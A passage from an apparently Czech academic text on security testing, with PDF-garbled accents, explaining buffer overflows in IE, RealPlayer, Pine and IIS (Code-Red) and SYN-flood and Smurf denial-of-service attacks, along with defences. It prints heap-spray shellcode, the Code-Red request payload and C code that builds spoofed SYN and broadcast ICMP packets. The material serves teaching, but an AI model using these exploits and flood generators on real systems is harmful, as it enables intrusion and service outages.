4. UZˇIVATELSKE´ ROZHRANI´ %u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4 %u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453 %u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8 %ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff %uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb”); // Nopslide will contain these bytes: bigblock = unescape(”%u0D0D%u0D0D”); // Heap blocks in IE have 20 dwords as header headersize = 20; // This is all very 1337 code to create a nopslide // that will fit exactly between the the header // and the shellcode in the heap blocks we want. // The heap blocks are 0x40000 dwords big, // I˜can’t be arsed to write good documentation for this. slackspace = headersize+shellcode.length while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; // And now we can create the heap blocks, // we’ll create 700 of them to spray // enough memory to be sure enough // that we’ve got one at 0x0D0D0D0D memory = new Array(); for (i=0;i<700;i++) memory[i] = block + shellcode;
22
4. UZˇIVATELSKE´ ROZHRANI´
< HT M L > < IF RAM E SRC = f ile : // |B .{z . . B} N AM E = ” C . . C} ..” >< /IF RAM E > | .{z 578
2086
< /HT M L >
Da´le bych zmı´nil chybu v RealPlayeru. Vzda´leneˇ se da´ vyuzˇ´ıt prˇetecˇenı´ promeˇnne´ na za´sobnı´ku v parseru smil (The Synchronized Multimedia Integration Language) forma´tu, cozˇ umozˇnˇuje u´tocˇnı´kovi prove´st podvrzˇeny´ ko´d. Cely´ u´tok lze prove´st pomocı´ webove´ho prohlı´zˇecˇe, kdy .smil soubor je nacˇten z webove´ stra´nky. Tato chyba existuje kvu˚li kopı´rova´nı´ rˇeteˇzcu˚, ktere´ jsou neomezene´. Objekt pBuf obsahuje v atributu velikost pla´tna, cozˇ jsou data definova´na uzˇivatelem. To umozˇnˇuje prˇepsat buffer na za´sobnı´ku o pevne´ velikosti. Pro u´tok je potrˇeba pouzˇ´ıt platny´ .smil soubor s prˇidanou na´sledujı´cı´ sekcı´: kde STR je rˇeteˇzec delsˇ´ı nezˇ 256 bytu˚, aby dosˇlo k prˇetecˇenı´. smlparse.cpp CSmil1Parser::testAttributeFailed(SMIL1Node* pNode) ... if(HXR_OK == rc) { UINT32 ulScreenHeight = 0; UINT32 ulScreenWidth = 0; const char* pScreenSize = (const char*)pBuf->GetBuffer(); // format is screen-height ”X” screen-width char tmp[256]; /* Flawfinder: ignore */ strcpy(tmp, pScreenSize); /* Flawfinder: ignore */ ... Jako poslednı´ bych uvedl prˇ´ıklad z unixove´ho prostrˇedı´, ke ktere´mu bych pouzˇil chyby v emailove´m klientovi Pine z Washingtonske´ university. Ty se projevı´ pokud uzˇivatel otevrˇe u´tocˇnı´kem pozmeˇneˇny´ email. Prvnı´ chyba existuje prˇi pa´rsova´nı´ zpra´vy. Selha´va´ kontrola, kdy de´lka nejdelsˇ´ıho atributu je mensˇ´ı nezˇ dostupne´ mı´sto dovolujı´cı´ za´ludneˇ forma´tovane´mu emailu prˇepsat kontrolnı´ strukturu. Opatrna´ modifikace teˇchto hodnot dovoluje provedenı´ podvrzˇene´ho ko´du. Pole tmp 20k buf odkazovane´ z pointeru d uchova´va´ .bss sekci. Prˇetecˇenı´ nastane v ko´du funkce display parameters().
23
4. UZˇIVATELSKE´ ROZHRANI´ Ko´d doplnı´ mezery prˇed rˇeteˇzec k naplneˇnı´ plne´ de´lky parametru rovnajı´cı´ se nejdelsˇ´ımu atributu. Doplneˇnı´ jake´hokoliv jme´na atributu, jehozˇ de´lka prˇesahuje 20kb, zpu˚sobı´ prˇetecˇenı´ bufferu a prˇ´ıpadneˇ vykona´nı´ ko´du u´tocˇnı´ka.
Pr ˇı ´klad atributu ˚: Access-Type: ftp URL: ftp://localhost/pub/interesting.ps headers.h: #define SIZEOF_20KBUF (20480) pine.c: char tmp_20k_buf[SIZEOF_20KBUF]; mailview.c: d = tmp_20k_buf; if(parmlist = rfc2231_newparmlist(params)){ while(rfc2231_list_params(parmlist) && dattrib, parmlist->value ? strsquish(tmp_20k_buf + 11000, parmlist->value, 100) : ..); d += strlen(d); }
Druhou chybou je prˇetecˇenı´ integeru, ktere´ nasta´va´ prˇi pa´rsova´nı´ emailovy´ch hlavicˇek, cozˇ ma´ opeˇt za na´sledek spusˇteˇnı´ u´tocˇnı´kova ko´du, pokud je nacˇten upraveny´ email. Chyba existuje ve funkci rfc2231 get param(), kde promeˇnna´ n mu˚zˇe obsahovat za´pornou hodnotu, kdyzˇ uzˇ ukazuje mimo index pole pieces. Vykona´nı´ podvrzˇene´ho ko´du je mozˇne´ pokud je ulozˇen ve strukturˇe paramas v atributu value (params− >value) a zapsa´n mimo 64 bytove´ pole znaku˚, cˇ´ımzˇ je prˇepsa´n ukazatel na ulozˇene´ instrukce na za´sobnı´ku.
#define RFC2231_MAX 64 ... char *pieces[RFC2231_MAX]; and indexed by the signed integer variable .n.: if(n < RFC2231_MAX){ pieces[n] = parms->value;
24
4. UZˇIVATELSKE´ ROZHRANI´
4.2 Code-Red 4.2.1 Popis Nejproslulejsˇ´ı u´tok na chybu prˇetecˇenı´ bufferu se odehra´l na serverech Microsoft Internet Information Services (IIS) a byl oznacˇen jako Code-Red worm. Jeho prvnı´ verze se objevila 12. cˇervence 2001. 19. cˇervence v 10 hodin vypukl daleko nicˇiveˇjsˇ´ı u´tok oznacˇen jako CodeRed version 2, ktery´ beˇhem cˇtrna´cti hodina´ch napadl 359 tisı´c pocˇ´ıtacˇu˚. Jediny´m rozdı´lem mezi obeˇma verzemi je genera´tor na´hodny´ch cˇ´ısel, kdy starsˇ´ı verze pouzˇ´ıva´ staticky a noveˇjsˇ´ı dynamicky volene´ hnı´zdo genera´toru. 4.srpna se objevil CodeRedII, ktery´ jizˇ nebyl pameˇt’oveˇ rezidentnı´(tedy nestacˇil restart syste´mu k jeho odstraneˇnı´) a budoval si zadnı´ vra´tka pro dalsˇ´ı u´toky. Po napadenı´ syste´mu, vytvorˇil cˇerv sto vla´ken sama sebe, z nichzˇ 99 pracovalo na sˇ´ırˇenı´ cˇerva na generovane´ IP adresy a ste´ vla´kno kontrolovalo syste´movy´ cˇas a pak se podı´lelo DDoS (Distributed Denial of Service) u´toku na server Bı´le´ho domu www.whitehouse.gov. 4.2.2 Zranitelnost .ida Samotna´ chyba lezˇ´ı v ko´du .ida ISAPI filtru, ktery´ netestuje vstupnı´ data od uzˇivatele a je na´chylny´ k prˇetecˇenı´ bufferu. Nebezpecˇny´ je proto, zˇe vyuzˇ´ıva´ funkcionalit Microsoft Indexing Service a tedy u´tocˇnı´k zı´ska´ syste´mova´ opra´vneˇnı´ a mu˚zˇe instalovat a spousˇteˇt programy, manipulovat s databa´zı´ a se soubory. Chybu nalezneme ve funkci, ktera´ transformuje ASCII znaky na unicodove´, tedy z jednoho bytu na znak na dva byty. Z rˇeteˇzce AAA udeˇla´ \0A\0A\0A. Po transformaci jizˇ ale nenı´ de´lka rˇeteˇzce testova´na, cozˇ mu˚zˇe zpu˚sobit prˇepsa´nı´ EIP. V celku by to bylo nezajı´mave´, kdybychom nemohli vyuzˇ´ıt tyto dva byty ke skoku na na´sˇ ko´d pomocı´ instrukcı´ call esp nebo jmp esp. GET /a.ida?[A . . A}] = x HT T P/1.0 | .{z 240
Tento prˇ´ıklad prˇepı´sˇe EIP rˇeteˇzcem 0x00410041. Ma´me tedy dveˇ mozˇnosti. Bud’ mu˚zˇeme pouzˇ´ıt ko´d, ktery´ dobrˇe pracuje s NULL bytem za kazˇdy´m bytem, cozˇ na´s prˇinutı´ k pouzˇitı´ velmi jednoduche´ho ko´du, nebo pouzˇijeme dekode´r, ktery´ vezme rˇeteˇzec 0x0041 a prˇepı´sˇe ho na za´sobnı´k do jednobytove´ho ko´du. To na´m da´va´ pouze 65KB prostor pro hleda´nı´ bytu k prˇeskoku. Protozˇe ISAPI pouzˇ´ıva´ 0x00aabbcc jako hranici pro alokovanou haldu, mu˚zˇeme na´sledujı´cı´m ko´dem GET /a.ida?[C . . C}] = x HT T P/1.1 | .{z 240
Host : domena aaaa : [C . . C}][code] | .{z 10000
25
4. UZˇIVATELSKE´ ROZHRANI´
prˇeplnit EIP rˇeteˇzcem 0x00430043, cˇ´ımzˇ se dostaneme dovnitrˇ velke´ho bufferu, ktery´ nastavujeme a dosa´hneme tak spusˇteˇnı´ nasˇeho ko´du. Zpeˇt ke Code-Red. Cˇerv posˇle na´sledujı´cı´ pozˇadavek GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090 %u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090 %u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003 %u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0 cˇ´ımzˇ bude syste´movy´ za´sobnı´k vypadat neˇjak takto 4E 4E 4E 92 4E FA D3 D3 D3 90 1B
00 00 00 90 00 00 CB CB CB 81 53
4E 4E 4E 58 4E 00 01 01 01 C3 FF
00 00 00 68 00 00 78 78 78 00 53
4E 4E 4E 4E 4E 90 90 90 90 03 78
00 00 00 00 00 90 90 90 90 00
4E 4E 4E 4E 4E 58 58 58 90 00
00 00 00 00 00 68 68 68 90 8B
a EIP bude prˇepsa´no na 0x7801CBD3, cozˇ je adresa v msvcrt.dll a je na nı´ instrukce call ebx. Tı´m se docı´lı´ skoku na ko´d samotne´ho cˇerva, ktery´ byl v teˇle inicializacˇnı´ho HTTP pozˇadavku.
4.3 DoS u´toky 4.3.1 Popis Strucˇneˇ rˇecˇeno, DoS u´toky jsou u´toky, ktere´ se snazˇ´ı ochromit neˇjaky´ server a tı´m zamezit prˇ´ıstupu beˇzˇny´ch uzˇivatelu˚ k sluzˇba´m, ktere´ poskytuje. Tyto u´toky lze ve´st mnoha zpu˚soby a zameˇrˇovat se prˇi nich na ru˚zna´ slaba´ mı´sta syste´mu. Tyto mozˇnosti si popı´sˇeme v za´peˇtı´. Nejprve bych ra´d zmı´nil, zˇe v dnesˇnı´ dobeˇ jsou DoS u´toky jizˇ nedostacˇujı´cı´mi diky propustnosti sı´tı´ a vy´konnosti serveru˚ a vyuzˇ´ıvajı´ se distribuovane´ DoS u´toky, prˇi ktery´ch je jejich sı´la zna´sobena. Pro ilustraci a naznacˇenı´ principu˚ ale stacˇ´ı.
26
4. UZˇIVATELSKE´ ROZHRANI´ 4.3.2 Prˇı´klady Prvnı´m typem jsou u´toky, prˇi nichzˇ se snazˇ´ıme vycˇerpat volne´ syste´move´ prostrˇedky. Veˇtsˇinou se jedna´ o neˇjake´ za´sobnı´ky, fronty a podobne´ objekty v pameˇti, ktere´ jsou potrˇeba pro kazˇde´ spojenı´. Syste´m pak jizˇ nenı´ schopen nava´zat dalsˇ´ı spojenı´ a uzˇivatele´ musı´ cˇekat azˇ se neˇjake´ ukoncˇ´ı. Typicky´m prˇ´ıkladem tohoto u´toku je SYN flood. Tento u´tok byl nejvı´ce devastujı´cı´m u´tokem do doby nezˇ se objevil u´tok Smurf. Nejzna´meˇjsˇ´ım prˇ´ıkladem jeho pouzˇitı´ je u´tok na sı´teˇ PANIX. Tento u´tok vyuzˇ´ıva´ zpu˚sobu navazova´nı´ spojenı´, ktere´ se v beˇzˇne´m prˇ´ıpadeˇ skla´da´ ze trˇ´ı kroku˚. Nejprve klient odesı´la´ ze specificke´ho portu paket SYN na specificky´ port serveru. Tento port se nacha´zı´ ve stavu LISTEN. Jakmile ale paket prˇijme, prˇejde port do stavu SYN RECV a odesı´la´ na port klienta paket SYN/ACK. Pokud vsˇe probı´ha´ bez proble´mu˚, tak klient potvrdı´ prˇijetı´ paketu paketem ACK a spojenı´ prˇejde do stavu ESTABLISHED. Tento mechanismus je na´chylny´ k DoS u´toku˚m. Du˚vodem je, zˇe veˇtsˇina serveru˚ jizˇ po prˇijetı´ paketu SYN vyhradı´ syste´move´ prostrˇedky pro potenciona´lnı´ spojenı´. Du˚lezˇitou vlastnostı´ take´ je, zˇe acˇkoliv syste´m mu˚zˇe obhospodarˇovat stovky jizˇ nava´zany´ch spojenı´ch, zpola nava´zany´ch eviduje mnohem me´neˇ. Toto vede k tom, zˇe syste´move´ prostrˇedky pro navazovane´ spojenı´ jsou vycˇerpatelne´ mnohem rychleji nezˇ pro jizˇ nava´zana´ spojenı´. Vycˇerpa´nı´ prostrˇedku˚ vede k nemozˇnosti nava´zat dalsˇ´ı spojenı´. A prˇesneˇ tohle je mechanismus, ktery´ u´tok SYN flood vyuzˇ´ıva´ k zablokova´nı´ syste´mu. Tedy u´tocˇnı´k odesı´la´ paket SYN na server. V paketu je ale potrˇeba nahradit svoji odchozı´ IP adresu IP adresou neexistujı´cı´ho syste´mu. Server pote´ alokuje potrˇebne´ syste´move´ prostrˇedky a odesˇle na tuto podvrzˇenou adresu paket SYN/ACK. Protozˇe syste´m s touto adresou neexistuje, tak se server paketu ACK nikdy nedocˇka´. To ale server nevı´ a udrzˇuje toto spojenı´ ve stavu SYN RECV a ma´ pro neˇj vyhrazeny syste´move´ prostrˇedky. Spojenı´ bude v tomto stavu do doby nezˇ prˇijde ACK paket, cozˇ by nastat nemeˇlo, nebo dokud nevyprsˇ´ı timeout. Velikost timeoutu zalezˇ´ı na syste´mu, ale obvykle je v rozmezı´ od dvaceti sekund do neˇkolika minut. Pokud by syste´m prˇeci jen existoval, poslal by zpa´tky paket RST, protozˇe spojenı´ neinicializoval a spojenı´ by bylo zrusˇeno. Protozˇe fronta pro spojenı´ ve stavu SYN RECV je mala´, mu˚zˇe u´tocˇnı´k dany´ port zcela zneprˇ´ıstupnit zası´la´nı´m neˇkolika SYN paketu˚ v neˇkolikasekundovy´ch intervalech. ´ tocˇnı´kovy stacˇ´ı linka jen s malou prˇeZ principu u´toku je videˇt, procˇ je tak nebezpecˇny´. U nosovou rychlostı´, protozˇe stacˇ´ı poslat jen neˇkolik SYN paketu˚ beˇhem neˇkolika sekund, cozˇ umozˇnˇuje i s modemovy´m prˇipojenı´m zablokovat velky´ komercˇnı´ server. Mozˇnostı´ na obranu je neˇkolik. Mu˚zˇe pomoci zveˇtsˇenı´ velikosti fronty pro navazovane´ spojenı´ a zmensˇenı´ timeoutu na RST/ACK, cozˇ mu˚zˇe pouze zmı´rnit du˚sledky u´toku. Dalsˇ´ı mozˇnostı´ je pouzˇ´ıvat operacˇnı´ syste´my, ktere´ majı´ zabudovanou detekci SYN flood u´toku, ktere´ potom zacˇnou rychleji vyprazdnˇovat frontu navazujı´cı´ch se spojenı´. Mozˇnostı´ je take´ vyuzˇitı´ SYN cookie. To umozˇnı´ v prˇ´ıpadeˇ probı´hajı´cı´ho u´toku, prˇipojenı´ spojenı´ autentizovany´ch pomocı´ SYN cookie, tedy autentizovanı´ uzˇivatele´ se vzˇdy prˇipojı´. Vytvorˇenı´ SYN paketu struct sockaddr_in sin; struct iphdr *ip; struct tcphdr *tcp; 27
4. UZˇIVATELSKE´ ROZHRANI´ char *packet; struct pseudo_header { unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; } pseudo_header; packet = malloc(sizeof(struct iphdr) + sizeof(struct tcphdr)); ip = (struct iphdr *)packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); /* form ip packet */ ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->tot_len = htons(40); ip->id = getpid(); ip->frag_off = 0; ip->ttl = 255; ip->protocol = IPPROTO_TCP; ip->check = 0; ip->saddr = source_addr; ip->daddr = dest_addr; ip->check = in_cksum((unsigned short *)ip, 20); /* form tcp packet */ tcp->source = getpid(); tcp->dest = htons(dest_port); tcp->seq = getpid(); tcp->ack_seq = 0; tcp->res1 = 0; tcp->doff = 5; tcp->fin = 0; tcp->syn = 1; tcp->rst = 0; tcp->psh = 0; tcp->ack = 0; tcp->urg = 0; tcp->res2 = 0;
28
4. UZˇIVATELSKE´ ROZHRANI´ tcp->window = htons(512); tcp->check = 0; tcp->urg_ptr = 0; /* set the pseudo header fields */ pseudo_header.source_address = ip->saddr; pseudo_header.dest_address = ip->daddr; pseudo_header.placeholder = 0; pseudo_header.protocol = IPPROTO_TCP; pseudo_header.tcp_length = htons(20); bcopy((char *)tcp, (char *)&pseudo_header.tcp, 20); tcp->check = in_cksum((unsigned short *)&pseudo_header, 32); /* setup the sin struct */ sin.sin_family = AF_INET; sin.sin_port = tcp->source; sin.sin_addr.s_addr = ip->daddr; socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); sendto(socket,packet,40,0,(struct sockaddr *)&sin,sizeof(sin)); Dalsˇ´ım typem u´toku, ktery´ bych zde probral, je zanepra´zdneˇnı´ serveru. To znamena´, zˇe u´tok se pokousˇ´ı serveru vnutit neˇjaky´ netrivia´lnı´ vy´pocˇet , cozˇ vede k prˇetı´zˇenı´ procesoru a ten nenı´ pak schopen reagovat na pozˇadavky uzˇivatelu˚. Jednı´m z takovy´chto u´toku˚ se skry´va´ za oznacˇenı´m Stream. Tento u´tok se pu˚vodneˇ zameˇrˇoval na operacˇnı´ syte´m FreeBSD, ale pozdeˇji se uka´zalo, zˇe je schopen u´speˇsˇneˇ atakovat mnohe´ dalsˇ´ı syste´my. ´ tok vyuzˇ´ıva´ toho, zˇe neˇktere´ operacˇnı´ syste´my nedoka´zˇou zpracovat Ted’ k principu. U veˇtsˇ´ı mnozˇstvı´ najednou odeslany´ch a chybneˇ forma´tovany´ch paketu˚, cozˇ pra´veˇ vede ´ tok vyuzˇ´ıva´ TCP ACK k prˇetı´zˇenı´ syste´movy´ch prostrˇedku˚, konkre´tneˇ tedy procesoru. U paketu˚ s generovany´m sekvencˇnı´m cˇ´ıslem paketu. Pote´ co server obdrzˇ´ı ACK paket, ja´dro zavola´ funkci in pcblookup hash(), ktera´ je sama o sobeˇ procesoroveˇ nena´rocˇna´. Proble´mem ale je, zˇe funkce nemu˚zˇe najı´t relevantnı´ SYN paket k vyhodnocovane´mu ACK paketu, cozˇ vede k porovna´va´nı´ vy´sledku s NULL pointerem, cozˇ vede k ply´tva´nı´ syste´movy´ch prostrˇedku˚. Protozˇe u´tok je veden stejneˇ jako prˇedchozı´ SYN flood u´tok, nenı´ potrˇeba zde uva´deˇt ko´d. Poslednı´ skupinou jsou u´toky, ktere´ se zameˇrˇujı´ na prˇetı´zˇenı´ linky, kterou je server prˇipojen. To se prova´dı´ generova´nı´m paketu˚ na cı´lovy´ server. Nejcˇasteˇji se pouzˇ´ıvajı´ ICMP pakety, ale nikde nenı´ rˇecˇeno, zˇe je to jedina´ mozˇnost. Z principu u´toku je videˇt, zˇe u´tok nemu˚zˇe by´t u´speˇsˇny´, pokud je server prˇipojen rychlejsˇ´ı linkou nezˇ u´tocˇnı´k. V dnesˇnı´ dobeˇ, kdy servery by´vajı´ prˇipojeny linkou s minima´lnı´ propustnostı´ 100 Mbps, je u´tok v takove´to podobeˇ nedostatecˇny´. Pokud nechceme pouzˇ´ıvat k u´toku vı´ce pocˇ´ıtacˇu˚ a tedy vlastneˇ distribuovany´ syste´m, ktere´ zde nebudeme rozebı´rat, ma´me jesˇteˇ jednu mozˇnost. Tou je pouzˇitı´ zesilovacı´ch sı´tı´. Typicky´m za´stupcem takove´ho u´toku je Smurf. Smurf je ´ tocˇnı´k vyuzˇ´ıva´ dı´ky sve´mu zesilovacı´mu efektu jednı´m z nejpouzˇ´ıvaneˇjsˇ´ıch DoS u´toku˚. U ´ tok se ICMP echo request paket, ktery´ je smeˇrˇova´n na IP broadcast adresu neˇjake´ sı´teˇ. U tedy skla´da´ ze trˇ´ı cˇa´stı´: u´tocˇnı´ka, zesilovacı´ sı´teˇ (the intermediary) a obeˇti. Je nutne´ rˇ´ıci, 29
4. UZˇIVATELSKE´ ROZHRANI´ ´ tocˇnı´k tedy vytvorˇ´ı ICMP echo request paket, zˇe neˇkdy mu˚zˇe by´t obeˇtı´ i zesilovacı´ sı´t’. U kde ale nepouzˇije IP adresu sve´ho syste´mu, ale IP adresu serveru, ktery´ chce napadnout. Tento paket posı´la´ na IP broadcast adresu zesilovacı´ sı´teˇ. Pokud tato sı´t’ nema´ filtrova´n ICMP provoz (traffic) na IP broadcast, obdrzˇ´ı vsˇechny pocˇ´ıtacˇe sı´teˇ tento paket a odpovı´ na neˇj paketem ICMP echo reply. Vsˇechny tyto pakety budou smeˇrˇovat na cı´lovy´ server, protozˇe jsme v paketu zmeˇnili zdrojovou IP adresu. Zde je ta sı´la toho u´toku. Pokud si prˇedstavı´me, zˇe u´tocˇnı´k je prˇipojen jen ISDN linkou a je schopen generovat ICMP pakety konstantnı´m tokem 60 kbps a posı´la´ je do zesilovacı´ sı´teˇ se sto pocˇ´ıtacˇi, tak se vygeneruje tok dat o kapaciteˇ 60Mbps. Pokud je server prˇipojen T3 linkou, tak te´to za´plaveˇ cı´love´ sı´t’ teˇzˇko odola´ a jejı´ linka bude brzo prˇetı´zˇena. Je jasne´, zˇe pokud by meˇl u´tocˇnı´k k dispozici linku s veˇtsˇ´ı propustnostı´ a vı´ce zesilovacı´ch sı´tı´, tak je schopen zahltit jakoukoliv linku. Jak jsem jizˇ zmı´nil, tak je mozˇne´ pouzˇ´ıt i jine´ pakety. Trˇeba u´tok Fraggle generuje mı´sto ICMP paketu˚ UDP pakety, ktere´ jsou adresova´ny na port 7. Oba tyto u´toky jsou mozˇne´ jen dı´ky zesilovacı´m sı´tı´m a tedy by obrana meˇla zacˇ´ıt u nich. Stacˇ´ı prˇitom jen na routeru zaka´zat disable IP direct broadcasts a v operacˇnı´m syste´mu zaka´zat odpovı´da´nı´ na ICMP pakety pokud jsou zasla´ny na IP broadcast. Cı´lovy´ syste´m se sa´m o sobeˇ efektivneˇ bra´nit nemu˚zˇe. Prˇesto, zˇe je zabezpecˇenı´ zesilovacı´ch sı´tı´ jednoduche´, najde se i v dnesˇnı´ dobeˇ na internetu spousta nezabezpecˇeny´ch sı´tı´. Vytvorˇenı´ ICMP paketu struct sockaddr_in sin; struct iphdr *ip; struct icmphdr *icmp; char *packet; packet = malloc(sizeof(struct iphdr)+sizeof(struct icmphdr)+psize); ip = (struct iphdr *)packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->ihl = 5; ip->version = 4; ip->ttl = 255; ip->tos = 0; ip->frag_off = 0; ip->protocol = IPPROTO_ICMP; ip->saddr = their_ip; ip->daddr = dest; ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr)); icmp->type = 8; icmp->code = 0; 30
4. UZˇIVATELSKE´ ROZHRANI´ icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize); Nutne´ je jesˇteˇ spocˇ´ıtat checkcum na´sledujı´cı´ funkcı´: unsigned short in_chksum (u_short *addr, int len) { register int nleft = len; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *addr++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)addr; sum += answer; } sum = (sum >> 16) + (sum + 0xffff); sum += (sum >> 16); answer = ˜sum; return(answer); } Nynı´ jizˇ jen paket odeslat: sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW) setsockopt(sock, SOL_SOCKET, SO_BROADCAST, .1., sizeof(.1.)); sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr));
4.4 Prova´zanost polozˇek vstupu 4.4.1 Popis K chybeˇ docha´zı´ pokud neˇjaky´ prˇepı´nacˇ ve vstupnı´m formula´rˇi omezuje chova´nı´ neˇjake´ jine´ polozˇky a toto prˇepı´na´nı´ opomine vy´voja´rˇ osˇetrˇit. 31
4. UZˇIVATELSKE´ ROZHRANI´ 4.4.2 Du˚sledky Du˚sledkem te´to chyby mu˚zˇe by´t prˇetecˇenı´ bufferu a tı´m vznikajı´cı´ bezpecˇnostnı´ proble´my, ktere´ byly popsa´ny v prˇedchozı´ kapitole. 4.4.3 Postup Samotne´ testova´nı´ je obtı´zˇne´. Pokud si prˇedstavı´me, zˇe formula´rˇ obsahuje 20 checkboxu˚, tak ma´me prˇed sebou testova´nı´ 220 mozˇnostı´. A to kdyzˇ se podı´va´me trˇeba do syste´mu Microsoft Windows, tak vidı´me, zˇe nenı´ prˇ´ılisˇ neobvykle´, aby pocˇty checkboxu˚ prˇekracˇovaly padesa´tku. Je tedy potrˇeba testovat pouze prˇepı´nacˇe, ktere´ prˇ´ımo neˇco ovlivnˇujı´, trˇeba zviditelnı´ dalsˇ´ı prˇepı´nacˇe, omezujı´ neˇjak vstupnı´ rˇeteˇzce a podobneˇ. Nejdu˚lezˇiteˇjsˇ´ı je samozrˇejmeˇ otestova´nı´ textovy´ch polı´, ktere´ s sebou prˇina´sˇejı´ nejveˇtsˇ´ı bezpecˇnostnı´ rizika, jak bylo uka´za´no v prˇedchozı´ kapitole. 4.4.4 Prˇı´klady Cˇasta´ chyba, kterou lze objevit na americke´m internetu, je na formula´rˇ´ıch, ktere´ obsahujı´ textove´ pole pro posˇtovnı´ smeˇrovacı´ cˇ´ıslo. Pokud ma´te vybra´n neˇjaky´ americky´ sta´t, tak rˇeteˇzec v tomto poli je veˇtsˇinou du˚sledneˇ kontrolova´n, at’ jizˇ na pocˇet znaku˚, nebo na strukturu rˇeteˇzce. Pokud ale bydlı´te mimo USA, je va´m da´na obrovska´ volnost, mu˚zˇete pouzˇ´ıt neomezeneˇ dlouhe´ rˇeteˇzce a specia´lnı´ znaky. Druha´ chyba nasta´va´ v prˇ´ıpadeˇ, zˇe jedna volba prˇepı´nacˇe omezuje rˇeteˇzec prˇ´ısneˇji nezˇ druha´ a osˇetrˇenı´ nenı´ dotazˇeno do konce. Prˇedstavme si, zˇe ma´me checkbox, ktery´ na´m ve vy´sledku omezuje rˇeteˇzec pocˇtem znaku˚. Prˇi zasˇkrtnute´ volbeˇ, je zada´va´nı´ rˇeteˇzce omezeno na deset znaku˚, prˇi nezasˇkrtnute´ volbeˇ, je rˇeteˇzec omezen 200 znaky. Proble´m nasta´va´ pokud ve volbeˇ s omezenı´m na 200 znaku˚ napı´sˇete pra´veˇ oneˇch 200 znaku˚ a zasˇkrtnete checkbox. V tom prˇ´ıpadeˇ by meˇla aplikace vstupnı´ pole orˇ´ıznout, cozˇ ale neudeˇla´ a navı´c va´m umozˇnı´ psa´t da´le, cˇ´ımzˇ ma´te k dispozici opeˇt neomezeny´ rˇeteˇzec, vhodny´ pro prˇetecˇenı´ bufferu.
4.5 Specia´lnı´ znaky a rˇeteˇzce ve vstupu 4.5.1 Popis Tyto u´toky jsou zalozˇeny na chyba´ch v aplikacı´ch nebo na chybne´ implementaci CGI (Common Gateway Interface), ASP (Active Server Pages), PHP (Hypertext Preprocessor) atd. Cely´ tento proble´m nasta´va´ dı´ky nedostatecˇne´ kontrole vstupu a prˇehnane´ du˚veˇrˇe v neˇj. Mnohdy se setka´va´me s tı´m, zˇe data jsou trˇeba zkontrolova´na naprˇ´ıklad Javascriptem na straneˇ klienta a pak jizˇ jim je bezmezneˇ veˇrˇeno, protozˇe si ma´lokdy uveˇdomujeme, zˇe data mohou by´t posla´na prˇ´ımo bez tohoto formula´rˇe. S veˇtsˇinou teˇchto proble´mu˚ se setka´va´me u webovy´ch aplikacı´ na internetu, ale najdeme prˇ´ıklady i u softwaru.
32
4. UZˇIVATELSKE´ ROZHRANI´ 4.5.2 Du˚sledky Du˚sledkem te´to chyby mu˚zˇe by´t provedenı´ neˇjake´ho ko´du, tentokra´te ale na straneˇ serveru, prˇ´ıpadneˇ zı´ska´nı´ prˇ´ıstupu neopra´vneˇne´ho prˇ´ıstupu k autentizovany´m sekcı´m nebo provedenı´ DoS(Denial of service) u´toku. Jak je videˇt, na´sledky teˇchto u´toku˚ jsou obdobne´ jako u prˇetecˇenı´ bufferu, ale dı´ky snadnosti implementace daleko nebezpecˇneˇjsˇ´ı. Nevy´hodou bufferove´ho prˇetecˇenı´ bylo, zˇe prˇ´ıkazy musely by´t ve strojove´m ko´du a muselo se obtı´zˇneˇ hledat mı´sto v pameˇti, kam je umı´stit. Tı´m tyto u´toky byly zu´zˇeny pouze na zdatne´ programa´tory. Zatı´mco vyuzˇitı´ te´to chyby je snadneˇji pouzˇitelne´ a stacˇ´ı za´kladnı´ znalosti programova´nı´. 4.5.3 Postup Navrhnout jednotny´ postup testova´nı´ je obtı´zˇne´. Nejsnazsˇ´ı je zjistit si na jake´m operacˇnı´m syste´mu aplikace beˇzˇ´ı, v cˇem je naprogramovana´ a prˇ´ıpadneˇ jake´ dalsˇ´ı zdroje vyuzˇ´ıva´ (databa´zovy´ server, syste´move´ funkce, skripty, knihovny atd.) a podle toho u´tok smeˇrˇovat. V prˇ´ıpadeˇ, zˇe nema´te k dispozici zdrojove´ ko´dy, cˇasto u webovy´ch aplikacı´ pomu˚zˇe analy´za vygenerovane´ho html ko´du. Vhodne´ je take´ vyzkousˇenı´ specia´lnı´ch znaku˚, ktere´ jsou uvedeny v prˇ´ıloze. 4.5.4 